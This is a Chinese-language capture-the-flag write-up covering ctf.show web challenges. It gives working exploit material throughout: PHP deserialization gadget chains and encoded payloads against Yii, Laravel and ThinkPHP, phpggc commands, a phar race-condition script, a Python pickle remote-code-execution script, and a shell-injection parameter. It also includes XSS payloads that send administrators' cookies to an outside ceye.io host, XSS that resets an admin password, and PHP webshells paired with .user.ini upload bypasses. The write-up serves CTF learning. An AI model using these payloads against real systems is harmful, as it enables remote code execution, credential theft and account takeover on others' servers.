//TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19
}
?>

POC
1
?r=/backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19
成功回显 phpinfo ![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web267-6.png) 随便找个POC用一下,不过这题system不行,而且好像没回显?但是我用passthru可以有回显,发现用passthru可以直接rce exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = 'passthru';
$this->id = 'tac /flag';
}
}
}

namespace Faker{
use yii\rest\CreateAction;

class Generator{
protected $formatters;

public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}

namespace yii\db{
use Faker\Generator;

class BatchQueryResult{
private $_dataReader;

public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}

1
?r=/backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6ODoicGFzc3RocnUiO3M6MjoiaWQiO3M6OToidGFjIC9mbGFnIjt9aToxO3M6MzoicnVuIjt9fX19
![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web267-7.png) 还有别的链子,但是不一定有用,可以都试试 链子2:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php
#-- coding: utf-8 --
#Author: MTRleed
#file: web268.php
#time: 2023/11/7 16:20

namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = 'passthru';
$this->id = 'cat /fl*';
}
}
}

namespace Faker{
use yii\rest\CreateAction;

class Generator{
protected $formatters;

public function __construct(){
// 这里需要改为isRunning
$this->formatters['render'] = [new CreateAction(), 'run'];
}
}
}

namespace phpDocumentor\Reflection\DocBlock\Tags{

use Faker\Generator;

class See{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
}
}
namespace{
use phpDocumentor\Reflection\DocBlock\Tags\See;
class Swift_KeyCache_DiskKeyCache{
private $keys = [];
private $path;
public function __construct()
{
$this->path = new See;
$this->keys = array(
"axin"=>array("is"=>"handsome")
);
}
}
// 生成poc
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
还可以使用反序列化工具 `phpggc`可以生成想要的exp,可以看到 yii 反序列对应版本的payload和入口 `phpggc -l` ![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web267-8.png) 随后命令语法:执行程序 框架名字 要执行的函数 具体的命令 什么编码格式 比如: ./phpggc ThinkPHP/RCE3 system() "cat /flag" --base64 再比如: ./phpggc Yii2/RCE1 exec 'cp /fla* test.txt' --url 注意:如果题目需要你进行base64编码或者url编码,一定要在这个命令这完成编码,不要把结果复制了拿去其它工具上编,很有可能就错了,所以要编码就直接在这个命令后面加参数;不需要编码就不加后面的参数 ![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web267-9.png) ![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web267-10.png) ### web268(yii) 如果继续使用上一条链子,需要修改一个地方,将flag写入另一个文件再访问
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php  
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = 'passthru';
$this->id = 'cp /fl* 3.txt';
}
}
}

namespace Faker{
use yii\rest\CreateAction;

class Generator{
protected $formatters;

public function __construct(){
// 这里需要改为isRunning
$this->formatters['render'] = [new CreateAction(), 'run'];
}
}
}

namespace phpDocumentor\Reflection\DocBlock\Tags{

use Faker\Generator;

class See{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
}
}
namespace{
use phpDocumentor\Reflection\DocBlock\Tags\See;
class Swift_KeyCache_DiskKeyCache{
private $keys = [];
private $path;
public function __construct()
{
$this->path = new See;
$this->keys = array(
"axin"=>array("is"=>"handsome")
);
}
}
// 生成poc
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}

换一条链子
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
#-- coding: utf-8 --
#Author: MTRleed
#file: web268.php
#time: 2023/11/7 16:20

namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'passthru';
$this->id = 'cat /fl*';
}
}
}
namespace yii\db{

use yii\web\DbSession;

class BatchQueryResult
{
private $_dataReader;
public function __construct(){
$this->_dataReader=new DbSession();
}
}
}
namespace yii\web{

use yii\rest\IndexAction;

class DbSession
{
public $writeCallback;
public function __construct(){
$a=new IndexAction();
$this->writeCallback=[$a,'run'];
}
}
}

namespace{

use yii\db\BatchQueryResult;

echo base64_encode(serialize(new BatchQueryResult()));
}

1
/index.php?r=/backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo4OiJwYXNzdGhydSI7czoyOiJpZCI7czo4OiJjYXQgL2ZsKiI7fWk6MTtzOjM6InJ1biI7fX19
或者
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
#-- coding: utf-8 --
#Author: MTRleed
#file: web268.php
#time: 2023/11/7 16:20


namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = 'shell_exec';
$this->id = 'cp /fl* 1.txt';
}
}
}

namespace Faker{
use yii\rest\CreateAction;

class Generator{
protected $formatters;

public function __construct(){
// 这里需要改为isRunning
$this->formatters['render'] = [new CreateAction(), 'run'];
}
}
}

namespace phpDocumentor\Reflection\DocBlock\Tags{

use Faker\Generator;

class See{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
}
}
namespace{
use phpDocumentor\Reflection\DocBlock\Tags\See;
class Swift_KeyCache_DiskKeyCache{
private $keys = [];
private $path;
public function __construct()
{
$this->path = new See;
$this->keys = array(
"axin"=>array("is"=>"handsome")
);
}
}
// 生成poc
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
之后再访问1.txt即可 直接cat flag的话会出现An internal server error occurred. 应该是设置了非调试模式的生产环境运行方式 ### web269(yii) 继续用上一个链子 ### web270(yii) 继续用上一个链子 ### web271(Laravel反序列化漏洞) 打开页面显示`Laravel`,这也是一个 PHP 组件,存在反序列化漏洞 ![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web271.png) 先随便序列化一下使之报错出PHP版本为`7.1.27` ![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web271-4.png) 随后使用工具直接生成 exp ,选择合适的 payload 那就一个 RCE2 吧,url 编码一下 ![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web271-1.png) ![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web271-2.png)
1
O%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A28%3A%22Illuminate%5CEvents%5CDispatcher%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00listeners%22%3Ba%3A1%3A%7Bs%3A9%3A%22cat+%2Fflag%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7D%7Ds%3A8%3A%22%00%2A%00event%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D
直接打 ![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web271-3.png) ### web272(Laravel) 打开页面还是一样的 ![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web272.png) 接着用上一把的 链子 或者使用 PHP code 的方式
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
<?php
#-- coding: utf-8 --
#Author: MTRleed
#file: web272.php
#time: 2023/11/9 10:29


namespace Illuminate\Broadcasting{

use Illuminate\Bus\Dispatcher;
use Illuminate\Foundation\Console\QueuedCommand;

class PendingBroadcast
{
protected $events;
protected $event;
public function __construct(){
$this->events=new Dispatcher();
$this->event=new QueuedCommand();
}
}
}
namespace Illuminate\Foundation\Console{

use Mockery\Generator\MockDefinition;

class QueuedCommand
{
public $connection;
public function __construct(){
$this->connection=new MockDefinition();
}
}
}
namespace Illuminate\Bus{

use Mockery\Loader\EvalLoader;

class Dispatcher
{
protected $queueResolver;
public function __construct(){
$this->queueResolver=[new EvalLoader(),'load'];
}
}
}
namespace Mockery\Loader{
class EvalLoader
{

}
}
namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code;
public function __construct()
{
$this->code="<?php phpinfo();exit()?>"; //此处是PHP代码 "<?php system('cat /flag');exit()?>"
$this->config=new MockConfiguration();
}
}
class MockConfiguration
{
protected $name="feng";
}
}

namespace{

use Illuminate\Broadcasting\PendingBroadcast;

echo urlencode(serialize(new PendingBroadcast()));
}


1
2
O%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A25%3A%22Illuminate%5CBus%5CDispatcher%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00queueResolver%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A25%3A%22Mockery%5CLoader%5CEvalLoader%22%3A0%3A%7B%7Di%3A1%3Bs%3A4%3A%22load%22%3B%7D%7Ds%3A8%3A%22%00%2A%00event%22%3BO%3A43%3A%22Illuminate%5CFoundation%5CConsole%5CQueuedCommand%22%3A1%3A%7Bs%3A10%3A%22connection%22%3BO%3A32%3A%22Mockery%5CGenerator%5CMockDefinition%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00config%22%3BO%3A35%3A%22Mockery%5CGenerator%5CMockConfiguration%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A4%3A%22feng%22%3B%7Ds%3A7%3A%22%00%2A%00code%22%3Bs%3A24%3A%22%3C%3Fphp+phpinfo%28%29%3Bexit%28%29%3F%3E%22%3B%7D%7D%7D

PHP code 方式使用 phpggc 生成要注意 `./phpggc Laravel/RCE6 'system("cat /flag");exit();' --url`不要添加PHP标签`

`,工具已经内置了。内外层的引号也不能相同。

1
O%3A29%3A%22Illuminate%5CSupport%5CMessageBag%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00messages%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00format%22%3BO%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A25%3A%22Illuminate%5CBus%5CDispatcher%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00queueResolver%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A25%3A%22Mockery%5CLoader%5CEvalLoader%22%3A0%3A%7B%7Di%3A1%3Bs%3A4%3A%22load%22%3B%7D%7Ds%3A8%3A%22%00%2A%00event%22%3BO%3A38%3A%22Illuminate%5CBroadcasting%5CBroadcastEvent%22%3A1%3A%7Bs%3A10%3A%22connection%22%3BO%3A32%3A%22Mockery%5CGenerator%5CMockDefinition%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00config%22%3BO%3A35%3A%22Mockery%5CGenerator%5CMockConfiguration%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A7%3A%22abcdefg%22%3B%7Ds%3A7%3A%22%00%2A%00code%22%3Bs%3A42%3A%22%3C%3Fphp+system%28%22cat+%2Fflag%22%29%3Bexit%28%29%3B+exit%3B+%3F%3E%22%3B%7D%7D%7D%7D

web273(Laravel)

和上一题一样

web274(thinkphp)

打开网页显示

右键查看源码发现传参提示

直接上工具,选择对应版本,FW表示文件写入

1
TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mzp7czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo1OiJzbWkxZSI7czo5OiJjYXQgL2ZsYWciO31zOjIxOiIAdGhpbmtcTW9kZWwAd2l0aEF0dHIiO2E6MTp7czo1OiJzbWkxZSI7czo2OiJzeXN0ZW0iO31zOjk6IgAqAGFwcGVuZCI7YToxOntzOjU6InNtaTFlIjtzOjE6IjEiO319fX0=

直接打

web275

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-08 19:13:36
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


highlight_file(__FILE__);

class filter{
public $filename;
public $filecontent;
public $evilfile=false;

public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);
}
}
}

if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}

}else{
echo 'where is flag?';
}

where is flag?

filter类的__destruct方法会执行system函数,我们只要用;隔开rm并且filename中有php就可以进行rce了

令filename=1.php;tac flag.php

payload

1
?fn=php;tac flag.php

web276(phar反序列化)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-08 19:13:36
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


highlight_file(__FILE__);

class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public $admin = false;

public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile && $this->admin){
system('rm '.$this->filename);
}
}
}

if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}

}else{
echo 'where is flag?';
}

这题考察 phar 反序列化,知识了解https://www.freebuf.com/articles/web/305292.html

Phar是将php文件打包而成的一种压缩文档,类似于Java中的jar包。它有一个特性就是phar文件会以序列化的形式储存用户自定义的meta-data。以扩展反序列化漏洞的攻击面,配合phar://协议使用。

需要先写入phar包,然后条件竞争在其被删除前通过 phar:// 使其反序列化来命令执行

前置知识:

phar包在被可执行代码的文件包含函数通过 phar:// 处理时会反序列化

解题:

先在 php.ini 配置 phar.readonly = Off

通过PHP脚本生成phar包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class filter{
public $filename = '1;cat f*';
public $filecontent = '';
public $evilfile = true;
public $admin = true;
}

$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");

$o = new filter();
$phar->setMetadata($o);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();

利用Python脚本进行条件竞争:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import io
import requests
import threading

url = 'http://3600b060-7945-4e79-8d32-6bb587192e04.challenge.ctf.show/'
data = open('./phar.phar', 'rb').read()
flag = True

def write(): # 写入phar.phar
requests.post(url+'?fn=phar.phar', data=data)

def unserialize(): # 触发反序列化
global flag
r = requests.get(url+'?fn=phar://phar.phar')
if 'ctfshow{' in r.text and flag:
print(r.text)
flag = False

while flag: # 线程条件竞争,直到读到flag
threading.Thread(target = write).start()
threading.Thread(target = unserialize).start()

将 .phar 文件和 python 放在同一目录下

web277(python反序列化)

查看页面源代码

1
/backdoor?data=m=base64.b64decode(data) m=pickle.loads(m)

考点应该是是pickle反序列化

python反序列化和php反序列化类似(还没接触过java),相当于把程序运行时产生的变量,字典,对象实例等变换成字符串形式存储起来,以便后续调用,恢复保存前的状态

python中反序列化的库主要有两个,picklecPickle,这俩除了运行效率上有区别外,其他没啥区别

pickle的常用方法有

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle

a_list = ['a','b','c']

# pickle构造出的字符串,有很多个版本。在dumps或loads时,可以用Protocol参数指定协议版本,例如指定为0号版本
# 目前这些协议有0,2,3,4号版本,默认为3号版本。这所有版本中,0号版本是人类最可读的;之后的版本加入了一大堆不可打印字符,不过这些新加的东西都只是为了优化,本质上没有太大的改动。
# 一个好消息是,pickle协议是向前兼容的。0号版本的字符串可以直接交给pickle.loads(),不用担心引发什么意外。
# pickle.dumps将对象反序列化为字符串
# pickle.dump将反序列化后的字符串存储为文件
print(pickle.dumps(a_list,protocol=0))

pickle.loads() #对象反序列化
pickle.load() #对象反序列化,从文件中读取数据

wp写着使用 nc 反弹shell,但是怎么也不成功,所以这里我使用无回显sleep盲打脚本来弹出flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/python
# -- coding: utf-8 --
# Author: MTRleed
# file: web277
# time: 2023/11/9 17:03

import requests
import time
import string
import pickle
import base64

result = ""
str = "_-{}" + string.ascii_letters + string.digits # 大小写字母和数字
url = "http://5830736a-8f58-4368-a8dc-8a2957b9ab28.challenge.ctf.show/backdoor?data="
payload = "__import__('os').popen('if [ `cat /flag|cut -c {0}` == {1} ];then sleep 3;fi').read()"

class Rce():
def __init__(self, payload):
self.code = payload

def __reduce__(self):
# print(self.code)
return (eval, (self.code,))

length = 50 # length长度
key = 0
for j in range(1, length):
if key == 1:
break
for n in str:
rser = bytes.decode(base64.b64encode(pickle.dumps(Rce(payload.format(j, n)))))
target = url + rser
# print(target)
try:
requests.get(target, timeout=(2.5, 2.5))
except:
result = result + n
print(result)
break
# if n=='9':
# key=1

web278(python反序列化)

使用上一题的脚本就可以,但是第一次得到的flag不对(原因未知,可能是网络延迟导致),可以多跑几次。

XSS(316-333)

web316(反射型XSS盲打 ↓↓↓)

直接使用 payload打显示需要管理员身份才能得到flag

1
<script>alert(document.cookie)</script>

那么我们需要使用 XSS 盲打了,找一个平台接收管理员cookie。网上其他平台都是打不到 cookie ,最终选择了知道创宇的平台(http://ceye.io/),有时间可以自己搭建一个平台。

先注册一个账号,然后登录https://sso.telnet404.com/cas/login/?next=/

随后登录 CEYE 平台http://ceye.io/(更多用法查看https://www.cnblogs.com/zhaijiahui/p/9160913.html),在profile 这里找到 identifier,这是一个ceyc域名

然后就可以构造 XSS的 payload 了

1
2
3
4
5
<script>
var img=document.createElement("img"); img.src="http://你的ceye域名/"+document.cookie;
</script>
-----------
//这是加载一张图片加上当前的cookie这里我们填写的是接收平台的地址,所以会带上 document.cookie去加载地址然后平台会有记录cookie的值ctf平台会有个虚拟机器人,充当admin的身份,每个一段时间点开网站它一点开就会加载payload,发送它自身的cookie在那个框内输入那个标签输进去,网站一加载就执行了我们输入的xss代码然后他自己会发送cookie

这里还有别的一些 payload,当有防护时可以换别的 payload 绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
还有别的方法:

1.window.open
<script>window.open('http://你的ceye地址/'+document.cookie)</script>

2.input
<input onfocus="window.open('http://你的ceye地址/'+document.cookie)" autofocus>

3.svg
<svg onload="window.open('http://你的ceye地址/'+document.cookie)">

3.iframe
<iframe onload="window.open('http://你的ceye地址/'+document.cookie)"></iframe>

4.body(下面的题用的大都是这个!!)
<body onload="window.open('http://你的ceye地址/'+document.cookie)">

将 payload 放到这里点击生成链接,刷新等一会等待 bot 触发

随后来到 HTTP Request 这里点击刷新(Reload),cookie 中携带 flag

web317

使用上一题的 payload 打不到 cookie ,将 script 换成 body 就成功了,说明过滤了script,可能是过滤了 <script>,所以选择不带关键字的 payload

1
<body onload="window.open('http://bb9rcm.ceye.io/'+document.cookie)">

web318

继续使用上一题的 payload

web319

继续使用上一题的 payload

web320

继续使用 payload 时不再出现弹窗效果,应该是又被过滤了什么

1
<body onload="window.open('http://bb9rcm.ceye.io/'+document.cookie)">

测试发现 =右边的关键字依次删除后还是没有被打印出来,尖括号也不是原因,问题锁定在body onload上。

将尖括号和空格同时删除可以,将body onload全部删除也可以,单独去掉尖括号和单独去掉空格也不行,所以分别依次对尖括号和空格进行绕过

最终只需要绕过空格即可

1
2
3
4
使用以下可以替代绕过空格
TAB
/
/**/

payload

1
<body/**/onload="window.open('http://bb9rcm.ceye.io/'+document.cookie)">

web321

继续使用上一题的 payload

web322

继续使用上一题的 payload

web323

继续使用上一题的 payload

web324

继续使用上一题的 payload

web325

继续使用上一题的 payload

web326

继续使用上一题的 payload

web327(存储型XSS ↓↓↓)

打开页面发现换题型了,现在是存储型XSS

根据前面的操作,需要管理员 admin 才有flag,所以我们发信给 admin,用前面的 payload

1
<body/**/onload="window.open('http://bb9rcm.ceye.io/'+document.cookie)">

查看ceye平台

web328

打开网页显示的是登录框,不知道是什么类型的XSS

在功能处注册一个 admin 账号,显示我们并不是 admin,说明admin账号存在

换个思路,注册一个用payload作为用户名的账号,等管理员点击我们的时候就会被打到cookie。经测试使用body的 payload 是打不到的,那我改换最初的 payload 试试,用它作为用户名注册

1
<script>window.open('http://bb9rcm.ceye.io/'+document.cookie)</script>

注册成功后刷下页面,ceye平台可以打到 admin 的 cookie,但是没有 flag。

尝试将我们的cookie替换成admin的,点击 save(cookie栏左边内存卡的图标)

随后我们刷新一下页面,发现已经是管理员了

web329

方法同上,能得到cookie但是还是访问不了页面

原因是,管理员访问了页面就退出了,相当于现在得到的最新cookie是管理员上一次用的cookie,所以这一次不能常规思路了。我们要在对的页面遍历那个表单,然后将flag直接发送出来,用到 JS 代码。

1
2
3
4
5
6
7
8
9
10
<script>
$('.laytable-cell-1-0-1').each(function(index,value){
if(value.innerHTML.indexOf('ctf'+'show{')>-1){window.location.href='http://bb9rcm.ceye.io/'+value.innerHTML;
}});</script>

<script>
$('.laytable-cell-1-0-1').each(function(index,value){
if(value.innerHTML.indexOf('ctf'+'show{')>-1){window.open('http://bb9rcm.ceye.io/'+value.innerHTML)
}});</script>
//laytable-cell-1-0-1这是那个表单的类名,使用('ctf'+'show{')而不是使用('ctfshow{')的原因是使用前者会输出我们的payload的,因为第一次登进去的时候我们的身份信息带有('ctfshow')。而使用后者则不会,因为只查找 ctfshow{ 字符串,而不会匹配到'ctf'+'show{'。使用 >-1 而不是 >0 ,因为字符串不大于0。使用 +value.innerHTML 而不是 +document.cookie ,因为我们要输出表单内容而不是 cookie。

注册一个账号,使用 payload 当做密码,随后登录,来到 ceye 刷新等待

web330

这一题增加了一个修改密码的功能

使用前面的方法已经解不出题了,我们抓包折后发现了修改密码的接口/api/change.php?p=xxx,所以思路就是 XSS 使管理员直接访问我们构造的修改自己密码的payload,达到修改管理员密码的效果

payload

1
2
3
4
5
<script>window.open('http://127.0.0.1/api/change.php?p=admin')</script>

<script>window.location.href='http://127.0.0.1/api/change.php?p=admin';</script>

//使用127.0.0.1是因为管理员应该是在他本地登录的

payload 要要用在用户名上,用在密码是不行的。然后我们稍微等待一会,即可使用 admin:admin 登录

web331

和上一题一样,只是请求方式从 GET 换成了 POST

payload

1
<script>$.ajax({url:'api/change.php',type:'post',data:{p:'admin'}});</script>

web332

这一题说花9999元就能买flag

wp说在充值的地方给 admin 转账9999即可使我们的账号拥有9999元,但是真正执行后发现

原来是环境问题,重启环境试试

web333

这一题不能直接像上一题一样了,但是它可以自己给自己转账。我们原本有5元,可以给自己转4元,然后我们自己就有9元了,接着给自己转8元,以此类推,只要转账金额不超过余额就行。逻辑问题就是收款方增加而付款方不减钱等等

看JS源码和抓包查看api之后,也可以这么解,注册两个账号,使用XSS让管理员给我们转账

账号1

1
<script>$.ajax({url:'api/amount.php',type:'post',data:{u:'123',a:9999}});</script>

然后再注册一个用户名为123的账户

等下XSS成功之后,123账号就会得到9999元了。

文件上传(151-170)

web151

打开网页发现只是前端过滤(最简单的就是修改前端代码添加php扩展),那么我们抓包改包即可,马子不能错了语言,PHP。

1
<?php @eval($_POST['pass'])?>

将马子后缀改名为 png

修改后缀名,放包

上传成功,访问马子执行命令

因为我们在 upload 目录,flag在上一级,所以

1
pass=system('tac ../flag.php');

web152

这题虽然使用后端校验,但是还是可以直接抓包修改文件后缀上传,与上一题一样的解法

1
pass=system('tac ../flag.php');

web153

这一题不能再使用上一题做法,我们大小写绕过,显示上传成功,但是无法解析,应该与文件名有关不能大小写

重新抓包,把文件后缀改成php,上传失败,改成xxxxx上传成功,得知是黑名单过滤。访问上级目录发现有回显,判断应该是 index.php,后经访问 index.php证实

上传phtml后缀,可以成功上传,但是无法解析,可以试试上传配置文件,访问upload,发现有可执行文件index.php,可以用上传.user.ini来进行文件包含(题目是nginx)

user.ini.它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。
条件:
服务器脚本语言为PHP
对应目录下面有可执行的php文件,如index.php。有可执行文件才会调用这个配置文件
服务器使用CGI/FastCGI模式

我们可以配置一个文件包含(可从官方文档查看方法)

1
auto_prepend_file=mtrleed.txt // 包含mtrleed.txt文件

上传配置文件

上传马子

命令执行

web154

这题使用上一题的解法时遇到一个问题,在上传马子的时候,显示内容不合规

后经测试发现文件的内容不能含有 php ,所以我们使用php短标签效果是一样的

1
<?=@eval($_POST['pass']);?>

先上传·user.ini配置文件

1
auto_prepend_file=mtrleed.txt // 包含mtrleed.txt文件

然后上传短标签的马子

执行命令

web155

还是可以上传配置文件,再上传短标签马子。和上一题一样

web156

还是可以上传配置文件,但是短标签的马子不能直接上传了

尝试添加 png 文件头。文件头是文件类型的标志,结果加了文件头还是不行,猜测应该是文件内容被过滤什么了,使用二分法进行判断

1
2
3
4
<?=@eval( //可以
<?=@eval($_POS//可以
<?=@eval($_POST['pa//不可以
判断结果应该是 [] 或 ''

我们现将中括号替换成大括号,可以上传成功了。

web157

